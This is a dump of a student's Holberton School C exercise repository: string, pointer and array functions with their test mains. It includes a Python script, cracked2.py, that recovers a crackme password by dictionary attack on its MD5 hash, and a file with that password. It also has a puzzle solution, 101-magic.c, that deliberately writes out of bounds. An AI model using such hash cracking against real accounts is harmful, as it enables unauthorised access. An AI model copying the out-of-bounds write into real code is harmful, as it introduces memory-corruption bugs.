4 | * _strlen - calculate the length of a string 5 | * @s: the string to calculate the length of 6 | * 7 | * Return: the length of the string 8 | */ 9 | int _strlen(char *s) 10 | { 11 | int len = 0; 12 | 13 | if (s) 14 | { 15 | while (*(s + len)) 16 | ++len; 17 | } 18 | 19 | return (len); 20 | } 21 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/3-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | char *str; 11 | 12 | str = "I do not fear computers. I fear the lack of them - Isaac Asimov"; 13 | _puts(str); 14 | return (0); 15 | } 16 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/3-puts.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _puts - print a string, followed by a new line 5 | * @str: the string to print 6 | * 7 | * Return: void 8 | */ 9 | void _puts(char *str) 10 | { 11 | if (str) 12 | { 13 | while (*str) 14 | _putchar(*str++); 15 | _putchar('\n'); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/4-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | char *str; 11 | 12 | str = "I do not fear computers. I fear the lack of them - Isaac Asimov"; 13 | print_rev(str); 14 | return (0); 15 | } 16 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/4-print_rev.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * print_rev - print a string, in reverse, followed by a new line 5 | * @s: the string to print 6 | * 7 | * Return: void 8 | */ 9 | void print_rev(char *s) 10 | { 11 | char *t = s; 12 | 13 | if (s) 14 | { 15 | while (*t) 16 | ++t; 17 | while (s < t--) 18 | _putchar(*t); 19 | _putchar('\n'); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/5-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | char s[10] = "Holberton"; 12 | 13 | printf("%s\n", s); 14 | rev_string(s); 15 | printf("%s\n", s); 16 | return (0); 17 | } 18 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/5-rev_string.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * rev_string - reverse a string 5 | * @s: the string to reverse 6 | * 7 | * Return: void 8 | */ 9 | void rev_string(char *s) 10 | { 11 | char *t = s; 12 | 13 | if (s) 14 | { 15 | while (*t) 16 | ++t; 17 | 18 | while (s < --t) 19 | { 20 | *s ^= *t; 21 | *t ^= *s; 22 | *s ^= *t; 23 | ++s; 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/6-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | char *str; 11 | 12 | str = "0123456789"; 13 | puts2(str); 14 | str = "666"; 15 | puts2(str); 16 | str = "#"; 17 | puts2(str); 18 | str = ""; 19 | puts2(str); 20 | return (0); 21 | } 22 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/6-puts2.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * puts2 - print every other character of a string 5 | * @str: the string to print 6 | * 7 | * Return: void 8 | */ 9 | void puts2(char *str) 10 | { 11 | if (str) 12 | { 13 | do { 14 | if (*str) 15 | _putchar(*str++); 16 | } while (*str++); 17 | _putchar('\n'); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/7-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | char *str; 11 | 12 | str = "0123456789"; 13 | puts_half(str); 14 | str = "abc"; 15 | puts_half(str); 16 | return (0); 17 | } 18 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/7-puts_half.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * puts_half - print the second half of a string 5 | * @str: the string to print 6 | * 7 | * Return: void 8 | */ 9 | void puts_half(char *str) 10 | { 11 | int len; 12 | 13 | if (str) 14 | { 15 | for (len = 0; *(str + len); ++len) 16 | ; 17 | for (str += (len + 1) / 2; *str; ++str) 18 | _putchar(*str); 19 | _putchar('\n'); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/8-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | int array[5]; 11 | 12 | array[0] = 98; 13 | array[1] = 402; 14 | array[2] = -198; 15 | array[3] = 298; 16 | array[4] = -1024; 17 | print_array(array, 5); 18 | return (0); 19 | } 20 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/8-print_array.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * print_array - print elements of an array of integers 6 | * @a: the start of an array of integers 7 | * @n: the number of array elements to print 8 | * 9 | * Return: void 10 | */ 11 | void print_array(int *a, int n) 12 | { 13 | if (a) 14 | { 15 | while (n > 0) 16 | { 17 | printf("%d", *a++); 18 | if (--n) 19 | printf(", "); 20 | } 21 | putchar('\n'); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/9-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | char s1[98]; 12 | char *p; 13 | 14 | p = _strcpy(s1, "First, solve the problem. Then, write the code\n"); 15 | printf("%s", s1); 16 | printf("%s", p); 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/9-strcpy.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _strcpy - copy a string (including the terminating null-byte) 5 | * 6 | * @dest: the buffer to which the string should be copied 7 | * @src: the string to copy 8 | * 9 | * Return: dest 10 | */ 11 | char *_strcpy(char *dest, char *src) 12 | { 13 | int len = 0; 14 | int pos = 0; 15 | 16 | if (dest && src) 17 | { 18 | while (*(src + len)) 19 | ++len; 20 | 21 | if (src + len < dest || dest + len < src) 22 | { 23 | do { 24 | *(dest + pos++) = *src++; 25 | } while (len--); 26 | } 27 | } 28 | 29 | return (dest); 30 | } 31 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/_putchar.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * _putchar - writes the character c to stdout 5 | * @c: The character to print 6 | * 7 | * Return: On success 1. 8 | * On error, -1 is returned, and errno is set appropriately. 9 | */ 10 | int _putchar(char c) 11 | { 12 | return (write(1, &c, 1)); 13 | } 14 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/holberton.h: -------------------------------------------------------------------------------- 1 | #ifndef HOLBERTON_H 2 | #define HOLBERTON_H 3 | 4 | #include 5 | #include 6 | 7 | int _putchar(char c); 8 | void reset_to_98(int *n); 9 | void swap_int(int *a, int *b); 10 | int _strlen(char *s); 11 | void _puts(char *str); 12 | void print_rev(char *s); 13 | void rev_string(char *s); 14 | void puts2(char *str); 15 | void puts_half(char *str); 16 | void print_array(int *a, int n); 17 | char *_strcpy(char *dest, char *src); 18 | int _atoi(char *s); 19 | 20 | #endif /* HOLBERTON_H */ 21 | -------------------------------------------------------------------------------- /0x06-pointers_arrays_strings/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't C source code or README.md 2 | 3 | * 4 | !.gitignore 5 | !README.md 6 | !*.c 7 | !*.h 8 | -------------------------------------------------------------------------------- /0x06-pointers_arrays_strings/0-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | char s1[98] = "Hello "; 12 | char s2[] = "World!\n"; 13 | char *p; 14 | 15 | printf("%s\n", s1); 16 | printf("%s", s2); 17 | p = _strcat(s1, s2); 18 | printf("%s", s1); 19 | printf("%s", s2); 20 | printf("%s", p); 21 | return (0); 22 | } 23 | -------------------------------------------------------------------------------- /0x06-pointers_arrays_strings/1-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | char s1[98] = "Hello "; 12 | char s2[] = "World!\n"; 13 | char *p; 14 | 15 | printf("%s\n", s1); 16 | printf("%s", s2); 17 | p = _strncat(s1, s2, 1); 18 | printf("%s\n", s1); 19 | printf("%s", s2); 20 | printf("%s\n", p); 21 | p = _strncat(s1, s2, 1024); 22 | printf("%s", s1); 23 | printf("%s", s2); 24 | printf("%s", p); 25 | return (0); 26 | } 27 | -------------------------------------------------------------------------------- /0x06-pointers_arrays_strings/100-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | print_number(98); 12 | _putchar('\n'); 13 | print_number(402); 14 | _putchar('\n'); 15 | print_number(1024); 16 | _putchar('\n'); 17 | print_number(0); 18 | _putchar('\n'); 19 | print_number(-1); 20 | _putchar('\n'); 21 | print_number(-98); 22 | _putchar('\n'); 23 | print_number(INT_MAX); 24 | _putchar('\n'); 25 | print_number(INT_MIN); 26 | _putchar('\n'); 27 | return (0); 28 | } 29 | -------------------------------------------------------------------------------- /0x06-pointers_arrays_strings/100-print_number.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * print_number - print an integer 5 | * @n: the integer to print 6 | * 7 | * Return: void 8 | */ 9 | void print_number(int n) 10 | { 11 | if (n > -1) 12 | { 13 | if (n > 9) 14 | print_number(n / 10); 15 | _putchar('0' + n % 10); 16 | } 17 | else 18 | { 19 | _putchar('-'); 20 | if (n < -9) 21 | print_number(n / -10); 22 | _putchar('0' - n % 10); 23 | } 24 | } 25 | 26 | -------------------------------------------------------------------------------- /0x06-pointers_arrays_strings/101-magic.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) 4 | { 5 | int n; 6 | int a[5]; 7 | int *p; 8 | 9 | a[2] = 1024; 10 | p = &n; 11 | /* 12 | * write your line of code here... 13 | * Remember: 14 | * - you are not allowed to use a 15 | * - you are not allowed to modify p 16 | * - only one statement 17 | * - you are not allowed to code anything else than this line of code 18 | */ 19 | p[5] = 98; 20 | /* ...so that this prints 98\n */ 21 | printf("a[2] = %d\n", a[2]); 22 | return (0); 23 | } 24 | -------------------------------------------------------------------------------- /0x06-pointers_arrays_strings/3-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | char s1[] = "Hello"; 12 | char s2[] = "World!"; 13 | 14 | printf("%d\n", _strcmp(s1, s2)); 15 | printf("%d\n", _strcmp(s2, s1)); 16 | printf("%d\n", _strcmp(s1, s1)); 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x06-pointers_arrays_strings/3-strcmp.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _strcmp - compare two strings 5 | * @s1: a string to compare 6 | * @s2: the other string to compare 7 | * 8 | * Description: This functions compares two strings pointed to by s1 and s2. 9 | * 10 | * Return: 0 if s1 matches s2, 11 | * otherwise an integer less than 0 if s1 is less than s2, 12 | * otherwise an integer greater than 0 if s1 is greater than s2. 13 | * 14 | */ 15 | int _strcmp(char *s1, char *s2) 16 | { 17 | for (; *s1 && *s2; ++s1, ++s2) 18 | { 19 | if (*s1 != *s2) 20 | return (*s1 - *s2); 21 | } 22 | if (*s1) 23 | return (1); 24 | if (*s2) 25 | return (-1); 26 | 27 | return (0); 28 | } 29 | -------------------------------------------------------------------------------- /0x06-pointers_arrays_strings/4-rev_array.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * reverse_array - reverse an array of integers 5 | * @a: the array to reverse 6 | * @n: the size of the array 7 | * 8 | * Return: void 9 | */ 10 | void reverse_array(int *a, int n) 11 | { 12 | for ( ; --n > 0; ++a, --n) 13 | { 14 | *a ^= a[n]; 15 | a[n] ^= *a; 16 | *a ^= a[n]; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /0x06-pointers_arrays_strings/5-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | char s[] = "Holberton School!\n"; 12 | char *p; 13 | 14 | p = string_toupper(s); 15 | printf("%s", p); 16 | printf("%s", s); 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x06-pointers_arrays_strings/5-string_toupper.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * string_toupper - change all lowercase letters of a string to uppercase 5 | * @s: the string the change 6 | * 7 | * Return: pointer to the resulting string 8 | */ 9 | char *string_toupper(char *s) 10 | { 11 | char *c; 12 | 13 | for (c = s; *c; ++c) 14 | { 15 | if ('a' <= *c && *c <= 'z') 16 | *c -= 'a' - 'A'; 17 | } 18 | 19 | return (s); 20 | } 21 | -------------------------------------------------------------------------------- /0x06-pointers_arrays_strings/6-cap_string.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * cap_string - capitalize the words in a strings 5 | * @s: the string to capitalize 6 | * 7 | * Description: The following characters are considered word separators: 8 | * " , ; . ! ? \" ( ) { }" 9 | * 10 | * Return: pointer to the capitalized string 11 | */ 12 | char *cap_string(char *s) 13 | { 14 | char *ws = " \t\n,;.!?\"(){}"; 15 | int i; 16 | int j; 17 | 18 | for (i = 0, j = 0; s[i]; ++i) 19 | { 20 | if ('a' <= s[i] && s[i] <= 'z') 21 | { 22 | if (i) 23 | { 24 | for (j = 0; ws[j] && ws[j] != s[i - 1]; ++j) 25 | ; 26 | } 27 | 28 | if (ws[j]) 29 | s[i] -= ('a' - 'A'); 30 | } 31 | } 32 | 33 | return (s); 34 | } 35 | -------------------------------------------------------------------------------- /0x06-pointers_arrays_strings/6-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | char s[] = "Expect the best. Prepare for the worst. Capitalize on what comes.\nhello world! hello-world 0123456hello world\thello world.hello world\n"; 12 | char *p; 13 | 14 | p = cap_string(s); 15 | printf("%s", p); 16 | printf("%s", s); 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x06-pointers_arrays_strings/7-leet.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * leet - encode a string into 1337. 5 | * @s: the string to encode 6 | * 7 | * Description: Characters are encoded as follows: 8 | * {'a', 'A'} -> '4' 9 | * {'e', 'E'} -> '3' 10 | * {'o', 'O'} -> '0' 11 | * {'t', 'T'} -> '7' 12 | * {'l', 'L'} -> '1' 13 | * 14 | * Return: pointer to the encoded string 15 | */ 16 | char *leet(char *s) 17 | { 18 | char *c; 19 | char map[15] = { 20 | 'a', 'A', '4', 21 | 'e', 'E', '3', 22 | 'o', 'O', '0', 23 | 't', 'T', '7', 24 | 'l', 'L', '1' 25 | }; 26 | int i; 27 | 28 | for (c = s; *c; ++c) 29 | { 30 | for (i = 0; i < 15; i += 3) 31 | { 32 | if (*c == map[i] || *c == map[i + 1]) 33 | *c = map[i + 2]; 34 | } 35 | } 36 | 37 | return (s); 38 | } 39 | -------------------------------------------------------------------------------- /0x06-pointers_arrays_strings/7-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | char s[] = "Expect the best. Prepare for the worst. Capitalize on what comes.\n"; 12 | char *p; 13 | 14 | p = leet(s); 15 | printf("%s", p); 16 | printf("%s", s); 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x06-pointers_arrays_strings/8-rot13.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * rot13 - encode a string using rot13 5 | * @s: the string to encode 6 | * 7 | * Description: Each letter is replaced with the 13th letter after it. 8 | * 9 | * Return: pointer to the encoded string 10 | */ 11 | char *rot13(char *s) 12 | { 13 | char *c; 14 | char shift; 15 | 16 | for (c = s; *c; ++c) 17 | { 18 | shift = 'A' + (*c & 32); 19 | if (('a' <= *c && *c <= 'z') || ('A' <= *c && *c <= 'Z')) 20 | *c = (*c - shift + 13) % 26 + shift; 21 | } 22 | 23 | return (s); 24 | } 25 | -------------------------------------------------------------------------------- /0x06-pointers_arrays_strings/_putchar.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * _putchar - writes the character c to stdout 5 | * @c: The character to print 6 | * 7 | * Return: On success 1. 8 | * On error, -1 is returned, and errno is set appropriately. 9 | */ 10 | int _putchar(char c) 11 | { 12 | return (write(1, &c, 1)); 13 | } 14 | -------------------------------------------------------------------------------- /0x06-pointers_arrays_strings/holberton.h: -------------------------------------------------------------------------------- 1 | #ifndef HOLBERTON_H 2 | #define HOLBERTON_H 3 | 4 | #include 5 | #include 6 | 7 | int _putchar(char c); 8 | char *_strcat(char *dest, char *src); 9 | char *_strncat(char *dest, char *src, int n); 10 | char *_strncpy(char *dest, char *src, int n); 11 | int _strcmp(char *s1, char *s2); 12 | void reverse_array(int *a, int n); 13 | char *string_toupper(char *); 14 | char *cap_string(char *); 15 | char *leet(char *); 16 | char *rot13(char *); 17 | void print_number(int n); 18 | char *infinite_add(char *n1, char *n2, char *r, int size_r); 19 | void print_buffer(char *b, int size); 20 | void carry_from_prev(char *b, int i); 21 | char *find_str_end(char *s); 22 | 23 | #endif /* HOLBERTON_H */ 24 | -------------------------------------------------------------------------------- /0x07-pointers_arrays_strings/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't C source code or README.md 2 | 3 | * 4 | !.gitignore 5 | !README.md 6 | !*.c 7 | !*.h 8 | !*.py 9 | !101-crackme_password 10 | -------------------------------------------------------------------------------- /0x07-pointers_arrays_strings/0-memset.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _memset - fill memory with a constant byte 5 | * @s: a pointer to a memory area 6 | * @b: the byte to write to memory 7 | * @n: the number of bytes to write 8 | * 9 | * Return: a pointer to the memory area s 10 | */ 11 | char *_memset(char *s, char b, unsigned int n) 12 | { 13 | unsigned int i; 14 | 15 | for (i = 0; i < n; ++i) 16 | s[i] = b; 17 | return (s); 18 | } 19 | -------------------------------------------------------------------------------- /0x07-pointers_arrays_strings/1-memcpy.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _memcpy - copy a memory area 5 | * @dest: a pointer to the start of the target area 6 | * @src: a pointer to the start of the source area 7 | * @n: the number of bytes to copy 8 | * 9 | * Description: This function copies n bytes from memory area src to memory 10 | * area dest. The memory areas must not overlap. 11 | * 12 | * Return: a pointer to dest 13 | */ 14 | char *_memcpy(char *dest, char *src, unsigned int n) 15 | { 16 | unsigned int i = 0; 17 | 18 | for (i = 0; i < n; ++i, ++src) 19 | dest[i] = *src; 20 | return (dest); 21 | } 22 | -------------------------------------------------------------------------------- /0x07-pointers_arrays_strings/101-crackme_password: -------------------------------------------------------------------------------- 1 | abc123 -------------------------------------------------------------------------------- /0x07-pointers_arrays_strings/2-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | char *s = "hello"; 12 | char *f; 13 | 14 | f = _strchr(s, 'l'); 15 | printf("%s\n", f); 16 | return (0); 17 | } 18 | -------------------------------------------------------------------------------- /0x07-pointers_arrays_strings/2-strchr.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _strchr - locate character in string 5 | * @s: a pointer to the string to search 6 | * @c: the character to search for 7 | * 8 | * Return: If a match is found, return a pointer to it. 9 | * Otherwise, return NULL. 10 | */ 11 | char *_strchr(char *s, char c) 12 | { 13 | for ( ; *s; ++s) 14 | { 15 | if (*s == c) 16 | return (s); 17 | } 18 | return (*s == c ? s : NULL); 19 | } 20 | -------------------------------------------------------------------------------- /0x07-pointers_arrays_strings/3-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | char *s = "hello, world"; 12 | char *f = "oleh"; 13 | unsigned int n; 14 | 15 | n = _strspn(s, f); 16 | printf("%u\n", n); 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x07-pointers_arrays_strings/4-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | char *s = "hello, world"; 12 | char *f = "world"; 13 | char *t; 14 | 15 | t = _strpbrk(s, f); 16 | printf("%s\n", t); 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x07-pointers_arrays_strings/4-strpbrk.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _strpbrk - search a string for any of a set of bytes 5 | * @s: the string to search 6 | * @accept: the byte(s) to match 7 | * 8 | * Return: pointer to the byte in s that matches one of the bytes in 9 | * accept, or NULL if no such byte is found. 10 | */ 11 | char *_strpbrk(char *s, char *accept) 12 | { 13 | char *accept_pos; 14 | 15 | for ( ; *s; ++s) 16 | { 17 | for (accept_pos = accept; *accept_pos; ++accept_pos) 18 | { 19 | if (*s == *accept_pos) 20 | return (s); 21 | } 22 | } 23 | return (NULL); 24 | } 25 | -------------------------------------------------------------------------------- /0x07-pointers_arrays_strings/7-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | char board[8][8] = { 12 | {'r', 'k', 'b', 'q', 'k', 'b', 'k', 'r'}, 13 | {'p', 'p', 'p', 'p', 'p', 'p', 'p', 'p'}, 14 | {' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '}, 15 | {' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '}, 16 | {' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '}, 17 | {' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '}, 18 | {'P', 'P', 'P', 'P', 'P', 'P', 'P', 'P'}, 19 | {'R', 'K', 'B', 'Q', 'K', 'B', 'K', 'R'}, 20 | }; 21 | print_chessboard(board); 22 | return (0); 23 | } 24 | -------------------------------------------------------------------------------- /0x07-pointers_arrays_strings/7-print_chessboard.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * print_chessboard - print the chessboard 5 | * @a: pointer to an the chess board represented as an 8x8 array 6 | * 7 | * Return: void 8 | */ 9 | void print_chessboard(char (*a)[8]) 10 | { 11 | int row, col; 12 | 13 | for (row = 0; row < 8; ++row) 14 | { 15 | for (col = 0; col < 8; ++col) 16 | _putchar(a[row][col]); 17 | _putchar('\n'); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /0x07-pointers_arrays_strings/8-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | int c3[3][3] = { 12 | {0, 1, 5}, 13 | {10, 11, 12}, 14 | {1000, 101, 102}, 15 | }; 16 | int c5[5][5] = { 17 | {0, 1, 5, 12124, 1234}, 18 | {10, 11, 12, 123521, 12512}, 19 | {1000, 101, 102, 12545, 214543435}, 20 | {100, 1012451, 11102, 12545, 214543435}, 21 | {10, 12401, 10452, 11542545, 1214543435}, 22 | }; 23 | print_diagsums((int *)c3, 3); 24 | print_diagsums((int *)c5, 5); 25 | return (0); 26 | } 27 | -------------------------------------------------------------------------------- /0x07-pointers_arrays_strings/8-print_diagsums.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | #include 4 | 5 | /** 6 | * print_diagsums - print the diagonal sums of a square matrix 7 | * @a: pointer to the element at (row 0, column 0) 8 | * @size: the size of one dimension of the matrix 9 | * 10 | * Return: void 11 | */ 12 | void print_diagsums(int *a, int size) 13 | { 14 | int row, *pos; 15 | int sum1 = 0; 16 | int sum2 = 0; 17 | 18 | for (pos = a, row = 0; row < size; ++row, pos += size + 1) 19 | sum1 += *pos; 20 | 21 | for (pos = a + size - 1, row = 0; row < size; ++row, pos += size - 1) 22 | sum2 += *pos; 23 | 24 | printf("%d, %d\n", sum1, sum2); 25 | } 26 | -------------------------------------------------------------------------------- /0x07-pointers_arrays_strings/9-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | char *s0 = "Anne Cognet"; 12 | char *s1 = "Asaia Palacios"; 13 | 14 | printf("%s, %s\n", s0, s1); 15 | set_string(&s1, s0); 16 | printf("%s, %s\n", s0, s1); 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x07-pointers_arrays_strings/9-set_string.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * set_string - Set the value of a pointer to a char. 5 | * @s: pointer to the char pointer to change 6 | * @to: pointer to change the char pointer to 7 | * 8 | * Return: void 9 | */ 10 | void set_string(char **s, char *to) 11 | { 12 | *s = to; 13 | } 14 | -------------------------------------------------------------------------------- /0x07-pointers_arrays_strings/_putchar.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * _putchar - writes the character c to stdout 5 | * @c: The character to print 6 | * 7 | * Return: On success 1. 8 | * On error, -1 is returned, and errno is set appropriately. 9 | */ 10 | int _putchar(char c) 11 | { 12 | return (write(1, &c, 1)); 13 | } 14 | -------------------------------------------------------------------------------- /0x07-pointers_arrays_strings/cracked2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import hashlib 4 | 5 | target='e99a18c428cb38d5f260853678922e03' 6 | 7 | password = '\0' 8 | m = hashlib.md5('\0'.encode()) 9 | with open('top1575-probable-v2.txt', 'r') as wordfile: 10 | while m.hexdigest() != target and password != '': 11 | password = wordfile.readline().strip() 12 | print('passwd: {}'.format(password)) 13 | m = hashlib.md5(password.encode()) 14 | print('digest: {}'.format(m.hexdigest())) 15 | 16 | if m.hexdigest() == target: 17 | print('Success!') 18 | print('Password: {}'.format(password)) 19 | else: 20 | print('Password not found...') 21 | -------------------------------------------------------------------------------- /0x07-pointers_arrays_strings/holberton.h: -------------------------------------------------------------------------------- 1 | #ifndef HOLBERTON_H 2 | #define HOLBERTON_H 3 | 4 | #include 5 | #include 6 | 7 | int _putchar(char c); 8 | char *_memset(char *s, char b, unsigned int n); 9 | char *_memcpy(char *dest, char *src, unsigned int n); 10 | char *_strchr(char *s, char c); 11 | unsigned int _strspn(char *s, char *accept); 12 | char *_strpbrk(char *s, char *accept); 13 | char *_strstr(char *haystack, char *needle); 14 | void print_chessboard(char (*a)[8]); 15 | void print_diagsums(int *a, int size); 16 | void set_string(char **s, char *to); 17 | 18 | #endif /* HOLBERTON_H */ 19 | -------------------------------------------------------------------------------- /0x08-recursion/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't C source code or README.md 2 | 3 | * 4 | !.gitignore 5 | !README.md 6 | !*.c 7 | !*.h 8 | !*.py 9 | !101-crackme_password 10 | -------------------------------------------------------------------------------- /0x08-recursion/0-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | _puts_recursion("Betty Holberton"); 11 | return (0); 12 | } 13 | -------------------------------------------------------------------------------- /0x08-recursion/0-puts_recursion.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _puts_recursion - print a string followed by a newline 5 | * @s: a pointer to the string to print 6 | * 7 | * Return: void 8 | */ 9 | void _puts_recursion(char *s) 10 | { 11 | if (*s) 12 | { 13 | _putchar(*s); 14 | _puts_recursion(s + 1); 15 | } 16 | else 17 | _putchar('\n'); 18 | } 19 | -------------------------------------------------------------------------------- /0x08-recursion/1-main.c: 